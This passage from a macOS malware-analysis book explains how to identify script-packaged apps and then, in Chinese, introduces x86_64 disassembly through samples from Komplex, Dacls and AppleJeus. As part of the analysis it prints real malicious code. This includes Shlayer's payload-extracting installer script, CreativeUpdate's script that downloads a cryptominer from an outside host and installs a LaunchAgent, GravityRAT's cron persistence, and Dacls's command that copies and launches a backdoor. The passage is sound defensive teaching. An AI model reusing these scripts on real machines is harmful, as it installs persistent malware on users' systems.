file. Instead, you’ll find a script in the application’s *Contents/MacOS* directory whose name matches that of the application. When scripts are packaged via Platypus, the script is placed directly into the application bundle, and you can find it in the application’s *Contents/Resources/* directory as a file named *script*. Thus, if you come across an application that contains *Contents/Resources/script*, it’s likely a “platypussed” application. It’s fairly easy to identify binaries built with PyInstaller by examining embedded strings or function names. (The embedded string `Py_SetPythonHome` is a good indicator.) The next chapter covers disassembling Mach-O binaries, but it’s worth noting here that the disassembly of a binary’s `main` function can also provide a way to determine if it was built with PyInstaller. How? Simple! The main function calls into PyInstaller’s entry point, `pyi_main` (Listing 5-20). ``` void main() { pyi_main(rdi, rsi, rdx, rcx, r8, r9); return; } ``` Listing 5-20: A binary invoking PyInstaller’s entry point Applications that were built with Electron will be linked against a framework called `Electron Framework.framework`. Moreover, you can find the nonbinary components, which are generally JavaScript files, in the application’s *Contents/Resources/* directory, saved as *.asar* files. It’s important to note that these tools are legitimate, and many developers use them to generate safe applications. Don’t assume a binary or application is malicious solely because it was packaged up for distribution by one of these tools. ### Extracting the Nonbinary Component Let’s now look at various malware samples packaged up using these tools and see exactly how to extract their nonbinary components. In early 2021, a variant of Shlayer was discovered spreading via poisoned search engine results.^(15) As it was a simple application bundle missing an *Info.plist* file, and other than an icon file only contained a script (whose name, *1302*, matched the application’s), it was likely packaged up via Appify (Figure 5-8).  Figure 5-8: A simple script-based application, likely built via Appify (Shlayer) As Appify directly adds the scripts, as is, to the application bundle, no special tools are required to extract the script for analysis. And since it’s a script, analysis can commence without the use of any fancy binary static analysis tools (Listing 5-21). ``` % **file 1302.app/Contents/MacOS/1302** 1302.app/Contents/MacOS/1302: Bourne-Again shell script executable (binary data) % **cat 1302.app/Contents/MacOS/1302** #!/bin/bash 1 TEMP_NAME="$(mktemp -t Installer)" 2 tail -c 58853 $0 | funzip -1uD9jgw > ${TEMP_NAME} 3 chmod +x "${TEMP_NAME}" && nohup "${TEMP_NAME}" > /dev/null 2>&1 & killall Terminal exit PK^C^D^T^@... ``` Listing 5-21: A malicious installer script (Shlayer) After creating a temporary filename 1, the malware unzips password-protected data found at the end of the script into this temporary file 2. It then makes this file executable and launches it 3. Continued analysis identified this embedded payload as the well-known Bundlore malware. Interestingly (and completely unintentionally), applications created by Appify would inadvertently trigger a logic flaw in macOS, allowing such applications to bypass various security mechanisms, such as Gatekeeper and notarization requirements!^(16) In early 2018, the popular application website MacUpdate posted an alert notifying visitors that certain links on the site had been subverted to point to malware (Figure 5-9).  Figure 5-9: A security warning from MacUpdate As the links on the site had been compromised, users were inadvertently downloading trojanized applications containing malware. The malware, named CreativeUpdate, would download and install a persistent cryptocurrency miner that malware authors had surreptitiously hosted on Adobe’s Creative Cloud servers. In a tweet, security researcher Arnaud Abbati noted that it was packaged up via Platypus.^(17) Recall that applications created by Platypus bundle up the script into *Contents/Resources/script*. If we look at a trojanized application, in this case Firefox, infected with CreativeUpdate, we find such a script (Figure 5-10).  Figure 5-10: A malicious installer script embedded via Platypus (CreativeUpdate) This script is shown in Listing 5-22: ``` open Firefox.app 1 if [ -f ~/Library/mdworker/mdworker ]; then killall MozillaFirefox else 2 nohup curl -o ~/Library/mdworker.zip https://public.adobecc.com/files/1U14RSV3MVAHBMEGVS4LZ42AFNYEFF?content_disposition=attachment && unzip -o ~/Library/mdworker.zip -d ~/Library && mkdir -p ~/Library/LaunchAgents && mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents && sleep 300 && launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist && rm -rf ~/Library/mdworker.zip && killall MozillaFirefox & fi ``` Listing 5-22: A malicious installer script (CreativeUpdate) As the script is quite readable, we can easily understand the malicious logic. First, it launches the non-trojanized version of Firefox so that nothing appears amiss to the user 1. If the malware is not already installed (to *~/Library/mdworker/mdworker*) the logic in the `else` clause is executed. This downloads and installs a persistent payload from Adobe’s public Creative Cloud servers (*public.adobecc.com*) 2. The payload turns out to be a public command line cryptocurrency miner, *minergate-cli* from MinerGate, as you can see by running it with `-help` (Listing 5-23):^(18) ``` % **./mdworker -help** Usage: minergate-cli [-version] -user <email> [-proxy <url>] -<currency> <threads> [<gpu intensity>] [-<currency> <threads> [<gpu intensity>] ...] [-o <pool> -u <login> [-t <threads>] [-i <gpu intensity>]] ``` Listing 5-23: MinerGate’s command line cryptocurrency miner Once we identified the malware as built with Platypus, we were able to comprehensively analyze it without having to resort to utilizing complex binary analysis methods. PyInstaller is a useful tool that can package up a Python script into a native macOS binary or application. Unfortunately, malware writers sometimes abuse it, as was the case with the cross-platform malware GravityRAT. Found in a binary named Enigma, the macOS version of GravityRAT is a compiled Mach-O binary, and `strings` reveals it was likely built via PyInstaller (Listing 5-24): ``` % **file GravityRAT/Enigma** GravityRAT/Enigma: Mach-O 64-bit executable x86_64 % **strings - GravityRAT/Enigma** ... Py_SetPythonHome Error loading Python lib '%s': dlopen: %s Error detected starting Python VM. Python ``` Listing 5-24: Triaging a binary via `file` and `strings` (GravityRAT) Moreover, the malware’s `main` function simply calls into PyInstaller’s entry point function, `pyi_main`. Recognizing that the malware was packaged up with PyInstaller is important, as it means we can extract the compiled Python code and then fully decompile it. Reading Python code is, of course, far simpler than reading decompiled assembly. One easy way to extract the compiled Python code is via the open source PyInstaller Extractor tool (Listing 5-25):^(19) ``` % **python pyinstxtractor.py GravityRAT/Enigma** [+] Processing Enigma [+] Pyinstaller version: 2.1+ [+] Python version: 27 [+] Length of package: 17113011 bytes [+] Found 458 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: pyi_rth_pkgres.pyc [+] Possible entry point: pyi_rth__tkinter.pyc [+] Possible entry point: Enigma.pyc [+] Found 828 files in PYZ archive [+] Successfully extracted pyinstaller archive: Enigma ``` Listing 5-25: Extracting the contents of a “PyInstallered” binary with `pyinstxtractor` (GravityRAT) Let’s take a peek at the extracted files, which PyInstaller Extractor places in a directory named *Enigma_extracted* (Listing 5-26): ``` % **ls -1 Enigma_extracted/** Contents Crypto Enigma.pyc MacOS.so ... ``` Listing 5-26: Extracted Python files (GravityRAT) Most notable is the *Enigma.pyc* file, which, based on its file extension, likely contains Python bytecode. You can verify that this is the case by running the `file` command. We can readily decompile this bytecode on a site such as [`www.decompiler.com/`](https://www.decompiler.com/), which returns Python code. For a full analysis of GravityRAT’s macOS variant, including the details of the extracted Python logic, see my write-up “Adventures in Anti-Gravity: Deconstructing the Mac Variant of GravityRAT.”^(20) In fact, GravityRAT has another Mac variant, this time built using Electron. This choice allowed the malware authors to create a native macOS application from cross-platform JavaScript. We can ascertain that this variant is an Electron application by observing the fact that the trojanized application, *StrongBox.app*, is linked against the Electron *Framework.framework* (Listing 5-27): ``` % **otool -L StrongBox.app/Contents/MacOS/StrongBox** /System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit ... @rpath/Electron Framework.framework/Electron Framework ``` Listing 5-27: Viewing linked frameworks (including Electron) with `otool` (GravityRAT) Moreover, if we examine the application’s *Contents/Resources/* directory, we find a file named *app.asar* (Figure 5-11):  Figure 5-11: Archived source code (GravityRAT) Often, Electron applications are packaged using Electron’s asar archive format.^(21) Luckily, you can unpack these archives with either the `asar` node module or the `npx` utility, as described in the online tutorial “How to get source code of any electron application.”^(22) In this example, we opt for the latter, using `npx` to unpack the file into an output directory we name *appUnpacked* (Listing 5-28): ``` % **npx asar extract StrongBox.app/Contents/Resources/app.asar appUnpacked** ``` Listing 5-28: Unpacking source code with `npx` (GravityRAT) The extracted archive contains various files, the most notable of which are the JavaScript files *main.js* and *signature.js* (Figure 5-12).  Figure 5-12: Unpacked source code files (GravityRAT) These two JavaScript files contain the malware’s malicious logic. As JavaScript is readily readable when compared to compiled binary code, you should be able to understand the malware’s functionality and capabilities. For example, in the *signature.js* file, we uncover the malware’s persistence techniques. Specifically, a function named `scheduleMac` persists a downloaded payload as a cron job to run every two minutes by leveraging macOS’s built-in `crontab` command (Listing 5-29) 1. ``` function scheduleMac(fname,agentTask) { ... var poshellMac = loclpth+"/"+fname; execTask('chmod -R 0700 ' + "\"" + + "\"" ); ... arg = agentTask; execTask('crontab -l 2>/dev/null; echo \' */2 * * * * ' + "\"" +poshellMac + "\" " + arg + '\' 1 | crontab -', puts22); } ``` Listing 5-29: Persistence via a cron job (GravityRAT) For a comprehensive analysis of this Electron-based GravityRAT variant, including the extraction and analysis of its JavaScript files, see my write-up “Adventures in Anti-Gravity (Part II) Deconstructing the Mac Variant of GravityRAT.”^(23) As you’ve seen, a compiled binary or application you encounter may be nothing more than a wrapper or package containing nonbinary code. Once you’ve identified the packaging tool, you may be able to recover the nonbinary code to simplify your analysis. ## Up Next In this chapter, we covered the structure of the Mach-O binary format, including headers and relevant load commands. We then discussed various static analysis tools that can triage unknown Mach-O binaries and assist in their classification. These tools can often provide enough information to answer the question, “Is this binary known?” This in turn can allow us to ascertain if it has already been classified as benign or malicious, saving us valuable analysis time and efforts. However, if a binary appears to be malicious but does not match any known samples, you’ll need a more comprehensive static analysis tool. This tool is the all-powerful disassembler. In the next chapter, we’ll introduce advanced reverse-engineering techniques and show how you can leverage a disassembler to fully deconstruct almost any Mach-O binary. ## Endnotes
第六章:反汇编和反编译

在上一章中,我们介绍了多种有助于初步分析未知 Mach-O 二进制文件的静态分析工具。然而,如果你想全面理解一种新的 Mac 恶意软件样本,你需要对汇编代码有基础了解,并且能够运用复杂的二进制分析工具。
在本章中,我们将首先讨论汇编语言基础,然后介绍反汇编和反编译的静态分析方法。最后,我们将通过使用 Hopper(一种流行的反向工程工具,能够将二进制代码重构为人类可读的格式)来应用这些分析方法。尽管 Hopper 和其他高级二进制分析工具需要对低级反向工程概念有一定的理解,并且可能需要耗时的分析过程,但它们的能力是无价的。即使是最复杂的恶意软件样本,也无法与一位熟练的分析师使用这些工具时相提并论。
汇编语言基础
由于大多数编译后的 Mach-O 恶意软件的源代码通常不可用,分析师必须借助能够理解编译后二进制机器码并将其翻译成更易读的内容(即汇编代码)的工具。这个过程被称为反汇编。汇编语言是一种低级编程语言,直接翻译成计算机执行的二进制指令。这种直接翻译意味着编译后的二进制代码可以在之后直接转换回汇编代码。例如,在 64 位 Intel 系统上,二进制序列 0100 1000 1000 0011 1100 0000 0010 1010 可以在汇编代码中表示为 add rax, 42(这表示将 42 加到 RAX 寄存器)。
从本质上讲,一个反汇编器将一个编译后的二进制文件(例如恶意软件样本)作为输入,并将其翻译回汇编代码。当然,接下来我们需要理解提供的汇编代码。这一反汇编二进制代码并理解随后的汇编代码的过程,通常是恶意软件分析师提到逆向工程恶意样本时所指的内容。
在本节中,我们将通过聚焦于 x86_64(Intel x86 指令集的 64 位版本)来介绍各种汇编语言基础知识。我们还将坚持使用标准的 Intel 汇编语法。尽管苹果最近推出了基于 ARM 架构的 Apple Silicon(由 M1 系统芯片支持),但绝大多数 macOS 恶意软件仍然是编译为 x86_64 代码。此外,所有原生针对 M1 架构的恶意软件在可预见的未来将以通用二进制文件的形式发布。如我们在第五章讨论的,通用二进制文件包含多个特定架构的二进制文件,例如兼容 ARM 和 Intel 的文件。对于逆向工程恶意软件的目的,这些二进制文件在逻辑上应该是相同的,因此理解 Intel 的 x86_64 指令集就足够了。最后,许多汇编语言概念都适用于 Intel 和 ARM 架构。然而,如果你有兴趣了解更多有关 Apple M1 的 ARM 指令集架构,尤其是与分析 macOS 恶意软件相关的内容,请参考我 2021 年在 BlackHat 上的演讲《Arm’d and Dangerous: Analyzing arm64 Malware Targeting macOS》或我关于同一主题的白皮书。^(1)
汇编语言和逆向工程的话题已经写成了整本书。如果你想深入研究,有几本关于反汇编和逆向工程的优秀书籍,包括 Art of Assembly Language、Hacker Disassembling Uncovered 和 Reversing: Secrets of Reverse Engineering.^(2)
在这里,我的目标是提供必要的基础知识,并对各种概念进行简化处理,因为即便是对这些概念的基础理解,也足以成为一名合格的恶意软件分析师。
寄存器
寄存器是 CPU 上的临时存储槽,可以通过名称进行引用。你可以将它们视为高级编程语言中的变量。
Intel x86_64 指令集包含 16 个通用的 64 位寄存器,包括寄存器 RAX、RCX、RDX、RBX、RSP、RBP、RDI、RSI 以及 R8 到 R15。然而,其中一些寄存器通常用于特定目的。例如,RSP 和 RBP 寄存器用于管理 栈,这是一个帮助函数调用和存储临时(或 局部)变量的内存区域。你经常会遇到汇编指令,通过从 RBP 寄存器的负偏移量访问局部变量。该指令集还包含非通用寄存器,例如 RIP,它包含下一条将要执行的指令的地址。
我们可以通过其低 8 位、16 位或 32 位部分来引用许多 64 位通用寄存器,这些在二进制分析中有时会遇到。对于名称中没有数字的寄存器,通常使用两字母缩写来标识 8 位或 16 位的寄存器部分。对于 32 位部分,R被E替换。举个例子,考虑 64 位通用寄存器RAX。它的 8 位部分名为AL,16 位部分名为AX。最后,它的低 32 位部分名为EAX。对于R8–R15寄存器,B、D和W后缀分别表示低 8 位、16 位和 32 位部分。
汇编指令
汇编指令映射到一系列特定的字节,指示 CPU 执行某种操作。所有指令都包含一个助记符,它是操作的可读缩写。例如,add助记符映射到执行加法操作的二进制代码。
大多数汇编指令还包含一个或多个操作数。这些操作数指定了指令使用的寄存器、值或内存。可以参考表 6-1 中提供的一些助记符和示例指令。
表 6-1:助记符和示例指令
| 助记符 | 示例 | 描述 |
|---|---|---|
add |
add rax, 0x100 |
将第二个操作数(0x100)加到第一个操作数。 |
mov |
mov rax, 0x100 |
将第二个操作数(0x100)移动到第一个操作数。 |
jmp |
jmp 0x100000100 |
跳转到操作数中的地址(0x100000100)并继续执行。 |
call |
call rax |
执行操作数(RAX寄存器)中指定的子程序。 |
调用约定
通过研究 Mach-O 二进制文件调用的系统 API 方法,通常可以获得相当全面的理解。例如,一个恶意二进制文件如果调用文件写入 API 方法,并传入属性列表的内容和位于~/Library/LaunchAgents目录下的路径,很可能作为启动代理存在。因此,我们通常不需要花费数小时理解二进制文件中的所有汇编指令。相反,我们可以集中精力研究位于 API 调用附近的指令,以确定调用了哪些 API 方法,传入了哪些参数,以及根据 API 调用的结果采取了什么操作。
当程序想要调用一个方法或系统 API 时,它首先需要为调用准备参数。在汇编层面,传递参数给方法或 API 函数有特定的规则。这被称为调用约定。调用约定的规则在应用程序二进制接口(ABI)中进行了说明。表 6-2 展示了基于 Intel 的 64 位 macOS 系统的 ABI。
表 6-2:macOS(Intel 64 位)调用约定
| 项目 | 寄存器 |
|---|---|
| 第一个参数 | RDI |
| 第二个参数 | RSI |
| 第三个参数 | RDX |
| 第四个参数 | RCX |
| 第五个参数 | R8 |
| 第六个参数 | R9 |
| 第七个及以上参数 | 通过栈传递 |
| 返回值 | RAX |
由于这些规则的一致应用,恶意软件分析师可以利用它们来准确理解调用是如何进行的。例如,如果一个方法只需要一个参数,该参数的值将在调用之前始终存储在RDI寄存器中。一旦你通过查找call助记符在反汇编中识别出一个调用,向后查看汇编代码将揭示传递给方法或 API 的参数值。这通常能为代码的逻辑提供有价值的洞察,例如,恶意软件样本尝试连接的 URL,或者它正在创建的文件路径,用于感染系统。
同样,当call指令返回时,应用程序二进制接口(ABI)规定,调用的函数的返回值将被存储在RAX寄存器中。因此,你会经常看到紧跟在call指令之后的反汇编代码,检查并根据RAX中的值采取相应的操作。例如,正如你稍后会看到的,如果一个检查网络连接性的函数在RAX寄存器中返回零(即假),一个恶意样本可能不会向其命令与控制服务器发送信号。
objc_msgSend函数
编译后,Objective-C 方法的调用会变成对objc_msgSend函数(或其相似变体)的调用,该函数将原始的 Objective-C 方法调用路由到适当的对象。作为恶意软件分析师,我们并不真正关心objc_msgSend函数本身;相反,我们更关心的是被调用的 Objective-C 对象和方法,因为这些可以为样本的功能提供有价值的线索。幸运的是,通过理解objc_msgSend的参数,我们通常可以重建原始 Objective-C 代码的表示。 表 6-3 总结了objc_msgSend的参数和返回值。
表 6-3:在objc_msgSend函数上下文中的调用约定
| 项 | 寄存器 | (对于) objc_msgSend |
|---|---|---|
| 第一个参数 | RDI |
self: 方法被调用的对象 |
| 第二个参数 | RSI |
op: 方法名称 |
| 第三个及以上参数 | RDX, RCX, 等 |
方法的任何参数 |
| 返回值 | RAX |
方法的返回值 |
例如,考虑列表 6-1 中的这段 Objective-C 代码,它使用NSURL类的URLWithString:方法构造一个 URL 对象。
NSURL* url = [NSURL URLWithString:@"http://www.google.com"];
列表 6-1:通过 Objective-C 初始化 URL 对象
当我们反汇编编译后的代码时(列表 6-2),我们会看到objc_msgSend函数。
1 lea rdx, qword [http___www_google_com] ; @"http://www.google.com"
2 mov rsi, qword [0x100008028] ; @selector(URLWithString:)
3 mov rdi, qword [objc_cls_ref_NSURL] ; objc_cls_ref_NSURL
call qword [**objc_msgSend**]
列表 6-2:初始化 URL 对象,反汇编
查阅表 6-3,我们可以看到objc_msgSend函数的第一个参数,名为self,包含指向正在调用方法的对象的指针。如果方法是类方法,则该指针指向类的引用;如果是实例方法,self将指向类的某个实例对象。回想一下,函数的第一个参数存储在RDI寄存器中。在清单 6-2 中,我们可以看到self参数引用了NSURL类(因为接下来的URLWithString:方法是类方法)3。
objc_msgSend函数的第二个参数,名为op,是指向被调用方法名称的指针。Apple 文档将此值称为选择器,它表示方法名称的空字符终止字符串。回想一下,你可以在RSI寄存器中找到函数调用的第二个参数。在此示例中,我们看到该参数被设置为一个指针,引用字符串URLWithString: 2。
传递给objc_msgSend函数的其余参数是调用的方法所需的参数。由于URLWithString:方法接受一个参数,因此反汇编代码将RDX寄存器(此处是第三个参数)初始化为指向包含www.google.com1 的字符串对象的指针。最后,objc_msgSend返回调用方法返回的内容。像任何其他函数或方法调用一样,返回值可以在RAX寄存器中找到。
对于objc_msgSend函数的深入讨论,以及 Objective-C 运行时及其内部结构,请参考 Phrack 文章《现代 Objective-C 利用技巧》和《Objective-C 运行时:理解与滥用》。^(3) 这也结束了我们关于汇编语言基础的简要讨论。掌握了这门低级语言的基础知识和各种 Objective-C 内部机制后,我们将更深入地研究反汇编的二进制代码。
反汇编
本节将讨论各种反汇编概念,并通过直接来自恶意代码的实际例子进行说明。在本章稍后的部分,我们将演示如何利用功能齐全的反汇编器生成并探索二进制文件的完整反汇编。
需要记住的是,分析恶意程序的目标是理解其一般逻辑和功能,而不一定是每一条汇编指令。如我之前所说,专注于方法和函数调用周围的逻辑通常能提供有效的途径来获得这种理解。因此,让我们看看几个反汇编代码示例,说明如何识别这些调用、它们的参数以及 API 响应。我选择这些片段是因为它们突出显示了从高层语言编写的二进制文件中渗透出来的细节。请注意,我已对其进行了删减,以提高可读性。
Objective-C 反汇编
根据我的经验,Objective-C 仍然是针对 Mac 用户的恶意软件作者的首选语言。然而,反向工程 Objective-C 代码也存在一些挑战,例如本章前面讨论过的广泛使用 objc_msgSend 函数。幸运的是,我们仍然可以从反汇编中获得大量有用的信息。
Komplex 是一个后门,和一个活跃的俄罗斯 APT 组织有联系。^(4) 它包含多个组件,包括安装程序和第二阶段有效载荷。查看安装程序时,我们看到多次调用 objc_msgSend 函数,表明我们正在查看编译后的 Objective-C 代码。我们的目标是确定传递给 objc_msgSend 函数的 Objective-C 对象和方法,因为这些信息可以帮助我们弄清楚安装程序的行为。
在安装程序的主函数中,我们发现以下代码(列表 6-3):
0x00000001000017De lea rsi, qword [_joiner]
0x00000001000017e5 movabs rdi, 0x20f74
0x0000000100001824 mov qword [rbp-0x90], rdi
...
0x000000010000182e mov qword [rbp-0x98], rsi
...
0x0000000100001909 mov rax, qword [objc_cls_ref_NSData] 1
0x0000000100001910 mov rsi, qword [0x1001a9428] ; @selector(dataWithBytes:length:)
0x0000000100001917 mov rdi, rax 2
0x000000010000191a mov rdx, qword [rbp-0x98] 3
0x0000000100001921 mov rcx, qword [rbp-0x90]
0x0000000100001928 call objc_msgSend
0x000000010000192d mov qword [rbp-0x60], rax
列表 6-3:初始化 NSData 对象,反汇编(Komplex)
首先,我们看到两个局部变量(rbp-0x90 和 rbp-0x98)被初始化,第一个被硬编码为 0x20f74,第二个被初始化为名为_joiner的全局变量的地址。
接下来,我们看到一个 NSData 类的引用被移动到 RAX 寄存器 1 中。两行之后,它被移动到 RDI 寄存器 2 中。我们知道,当调用函数时,第一个参数会存储在 RDI 寄存器中,并且对于 objc_msgSend 函数的调用,这个参数是要调用方法的类或对象。因此,我们现在知道恶意软件正在调用 NSData 类的方法。那么,调用的是哪一个方法呢?
事实上,传递给 objc_msgSend 函数的第二个参数标识了方法,我们知道它可以在 RSI 寄存器中找到。在反汇编中,我们看到 RSI 寄存器被初始化为存储在 0x1001a9428 地址的指针。此外,反汇编工具已注释此地址,告诉我们安装程序正在调用名为 dataWithBytes:length: 的方法,它属于 NSData 类。
接下来,看看此方法的两个参数,它们通过RDX和RCX寄存器传递给objc_msgSend函数 3。RDX寄存器将包含dataWithBytes:参数的值,并从本地变量rbp-0x98初始化。回想一下,这个变量包含一个全局变量_joiner的地址。RCX寄存器存储length:参数的值,并从本地变量rbp-0x90初始化,后者包含0x20f74。
从这项分析中,我们可以重构出原始的 Objective-C 调用,如下所示(列表 6-4):
NSData* data = [NSData dataWithBytes:_joiner length:0x20f74];
列表 6-4:重构的 Objective-C 代码(Komplex)
创建的NSData对象随后被保存到位于rbp-0x60的本地变量中。
接下来,我们发现另一个 Objective-C 调用(列表 6-5)。
0x00000001000017d2 lea rcx, qword [cfstring__tmp_content] ; @"/tmp/content"
0x00000001000017d9 mov edx, 0x1
...
0x0000000100001838 mov dword [rbp-0x9c], edx
...
0x0000000100001848 mov qword [rbp-0xb0], rcx
0x0000000100001931 mov rax, qword [rbp-0x60] ; ret value from dataWithBytes:length:.
0x0000000100001935 mov rsi, qword [0x1001a9430] ; @selector(writeToFile:atomically:) 1
0x000000010000193c mov rdi, rax
0x000000010000193f mov rdx, qword [rbp-0xb0]
0x0000000100001946 mov ecx, dword [rbp-0x9c] 2
0x000000010000194c call objc_msgSend
列表 6-5:写入文件,反汇编(Komplex)
这里初始化了两个本地变量,第一个是指向名为content的文件路径,该文件位于/tmp目录下,第二个是硬编码的值1。然后,之前反汇编代码片段中创建的NSData对象被加载到RAX中,然后再加载到RDI中。由于RDI寄存器保存objc_msgSend函数调用的第一个参数,我们现在知道安装程序正在对该对象调用方法。
该方法存储在RSI寄存器中,并被反汇编器识别为writeToFile:atomically: 1。此方法的参数存储在RDX和RCX寄存器中。前者对应于writeToFile:参数,并从本地变量中初始化,该变量保存路径/tmp/content。后者是atomically:参数的布尔标志,并从包含值1的本地变量中初始化。由于不需要使用整个 64 位寄存器,编译器选择仅使用低 32 位,这也解释了为何使用ECX而不是RCX 2。
从这项分析中,我们可以再次重构出原始的 Objective-C 调用(列表 6-6):
[data writeToFile:@"/tmp/content" atomically:1]
列表 6-6:重构的 Objective-C(Komplex)
结合我们对之前 Objective-C 调用的分析,我们发现恶意软件正在将嵌入的有效负载,存储在名为joiner的全局变量中,写入到/tmp/content文件中。我们可以确认,确实joiner包含一个嵌入的(Mach-O)有效负载,通过查看其内容,内容位于0x100004120(列表 6-7)。
_joiner:
0x0000000100004120 **db** 0xcf ; '.'
0x0000000100004121 **db** 0xfa ; '.'
0x0000000100004122 **db** 0xed ; '.'
0x0000000100004123 **db** 0xfe ; '.'
0x0000000100004124 **db** 0x07 ; '.'
0x0000000100004125 **db** 0x00 ; '.'
0x0000000100004126 ** db** 0x00 ; '.'
列表 6-7:嵌入的 Mach-O 二进制文件(Komplex)
考虑到英特尔的小端格式,它指定了一个字的最低有效字节存储在最小地址处,前四个字节构成值 0xfeedfacf。该值映射到 MH_MAGIC_64 常量,表示 64 位 Mach-O 可执行文件的开始。对安装程序的反汇编进行进一步分析后发现,一旦嵌入的二进制有效负载被写入磁盘,它会被执行。对该二进制文件的分类分析表明,它实际上是 Komplex 的持久性二阶段有效负载。
Swift 反汇编
当然,并不是所有的恶意软件都是用 Objective-C 编写的。Swift 编程语言是当下的热门新宠,几款 macOS 恶意软件样本就是用它编写的。与用 Objective-C 编写的二进制文件相比,反汇编 Swift 二进制文件稍微有些难度,因为存在名称重整和其他编程抽象等因素。名称重整将方法名等项进行编码,以确保它们在已编译的二进制文件中是唯一的。不幸的是,除非进行解重整,否则这会大大影响项名称的可读性,增加分析难度。
然而,现代反汇编器现在能够从编译后的 Swift 二进制文件中生成合理可读的反汇编列表,例如,重整后的名称已被完全解码并作为注释添加。此外,由于 Swift 运行时利用了许多 Objective-C 框架,我们对 objc_msgSend 函数的讨论仍然具有相关性。在 2020 年中期,研究人员发现了一个新的 macOS 后门,命名为 Dacls,并归因于 Lazarus APT 小组。它的恶意安装程序应用程序是用 Swift 编写的。这里我们将重点介绍几个反汇编片段,展示恶意软件初始化并启动一个 Objective-C NSTask 对象来执行安装命令(列表 6-8)。
0x000000010001e1f1 mov r15, rax
0x000000010001e1f4 movabs rdi, '/bin/bash' 1
0x000000010001e1fe movabs rsi, 'h\x00\x00\x00\x00\x00\x00\xe9'
0x000000010001e208 call imp___stubs__$sSS10FoundationE19_bridgeToObjectiveCSo8NSString
CyF ; (extension in Foundation):Swift.String._bridgeToObjectiv
eC() -> __C.NSString 2
0x000000010001e20d mov rbx, rax
0x000000010001e210 mov rsi, qword [0x100045ba0] ; @selector(setLaunchPath:)
0x000000010001e217 mov rdi, r15
0x000000010001e21a mov rdx, rax
0x000000010001e21d call objc_msgSend 3
列表 6-8:Swift 反汇编的 NSTask 初始化(Dacls)
这一段 Swift 反汇编将一个 Swift 字符串桥接到 Objective-C 的 NSString 2。从反汇编中可以看出,这个字符串是一个 shell 路径:/bin/bash 1。接着,作为一个 Objective-C 字符串,它被传递给 NSTask 的 setLaunchPath: 方法,该方法通过 objc_msgSend 函数被调用 3。虽然在这段反汇编片段中看不到 NSTask 对象(它位于 R15 寄存器中),但方法选择器 setLaunchPath: 及其参数(存储在 RAX 中,作为桥接调用的返回值)是可以看到的。通常,仅知道一个方法名就足以确定类或对象类型,因为这个方法名可以是该类特有的。例如,快速 Google 搜索或查阅苹果文档中的 setLaunchPath: 方法,可以发现它属于 NSTask 类。
一旦恶意软件将 NSTask 的启动路径设置为 /bin/bash,它会初始化任务的参数(列表 6-9)。
0x000000010001e273 call swift_allocObject 1
0x000000010001e278 mov rbx, rax
...
0x000000010001e286 mov qword [rax+0x20], '-c' 2
...
0x000000010001e2a4 mov r14, qword [rbp+var_80]
0x000000010001e2a8 mov qword [rbx+0x38], r14
...
0x000000010001e2c0 mov rsi, qword [_$sSSN_10003d0b8] ; type metadata for Swift.
String ;
0x000000010001e2c7 mov rdi, rbx
0x000000010001e2ca call imp___stubs__$sSa10FoundationE19_bridgeToObjectiveCSo7NSArrayC
yF ; (extension in Foundation):Swift.Array._bridgeToObjectiveC
() -> __C.NSArray 3
0x000000010001e2cf mov r13, rax
...
0x000000010001e2da mov rsi, qword [0x100045ba8] ; @selector(setArguments:)
0x000000010001e2e1 mov rdi, r15
0x000000010001e2e4 mov rdx, r13
0x000000010001e2e7 call objc_msgSend 4
列表 6-9:更多 Swift 反汇编的 NSTask 初始化(Dacls)
如你所见,该方法创建了一个包含各种 Swift 字符串 1 的对象,然后将其桥接到NSArray 3。随后,这个对象被传递给NSTask的setArguments:方法,这个方法通过objc_msgSend函数 4 被调用。-c参数 2 指示 bash 将后续的字符串作为命令处理。从这段反汇编片段很难看出方法的剩余参数,但通过使用动态分析(如接下来的章节所述),我们可以被动地恢复这些参数,并且确定它们部分地硬编码在0x0000000100033f70的二进制中(列表 6-10):
0x0000000100033f70 **db** " ~/Library/.mina > /dev/null 2>&1 && chmod +x
~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1", 0
列表 6-10:嵌入的参数(Dacls)
这些硬编码的参数在运行时会与复制命令(cp)以及恶意软件持久化后门的名称SubMenu.nib一起作为前缀。累计的这些参数指示 bash 首先将持久化后门复制到~/Library/.mina,将其设置为可执行文件,最后启动它。为了触发这些操作,恶意软件调用NSTask的launch方法(列表 6-11)。
0x000000010001e300 mov rdi, qword [rcx+rax]
0x000000010001e304 mov rsi, qword [0x100045bb0] ; @selector(launch) 1
0x000000010001e30b call objc_msgSend 2
列表 6-11:NSTask 启动的反汇编(Dacls)
正如预期的那样,Objective-C 方法调用通过objc_msgSend函数 2 进行路由。不过,反汇编器有帮助地标注了选择器:NSTask的launch方法 1。
在此时,仅凭这些反汇编出来的 Swift 代码片段,我们已经能够提取出恶意安装程序的核心逻辑。具体来说,我们确定了一个持久化负载(SubMenu.nib)被复制到了~/Library/.mina目录,并且被启动了。
C/C++反汇编
恶意软件作者偶尔会使用非 Apple 编程语言(如 C 或 C++)编写 Mac 恶意软件。让我们看另一个简化的反汇编片段,这次来自 Lazarus Group 的第一阶段植入程序加载器,名为 AppleJeus,最初是用 C++编写的。^(5) 这个片段来自一个名为getDeviceSerial的函数,但由于 C++名称修饰,它在反汇编器中显示为Z15getDeviceSerialPc。
当你浏览这个相当大的反汇编片段(列表 6-12)时,首先注意到反汇编器已经提取了函数声明作为注释,(幸运的是)它包含了原始名称和参数的数量与格式。从去掉名称修饰符后的函数名getDeviceSerial来看,我们可以假设这个函数将获取感染系统的序列号(尽管我们也会验证这一点)。由于该函数只有一个参数,即指向字符串缓冲区的指针(char*),因此合理推测该函数会将提取的序列号存储在该缓冲区中,以便调用者使用。
__Z15getDeviceSerialPc: // getDeviceSerial(char*)
0x0000000100004548 mov r14, rdi 1
0x0000000100004559 mov rax, qword [_kIOMasterPortDefault]
0x0000000100004560 mov r15d, dword [rax] 2
0x0000000100004563 lea rdi, qword [IOPlatformExpertDevice] ;"IOPlatformExpertDevice"
0x000000010000456a call IOServiceMatching 3
0x000000010000456f mov edi, r15d
0x0000000100004572 mov rsi, rax
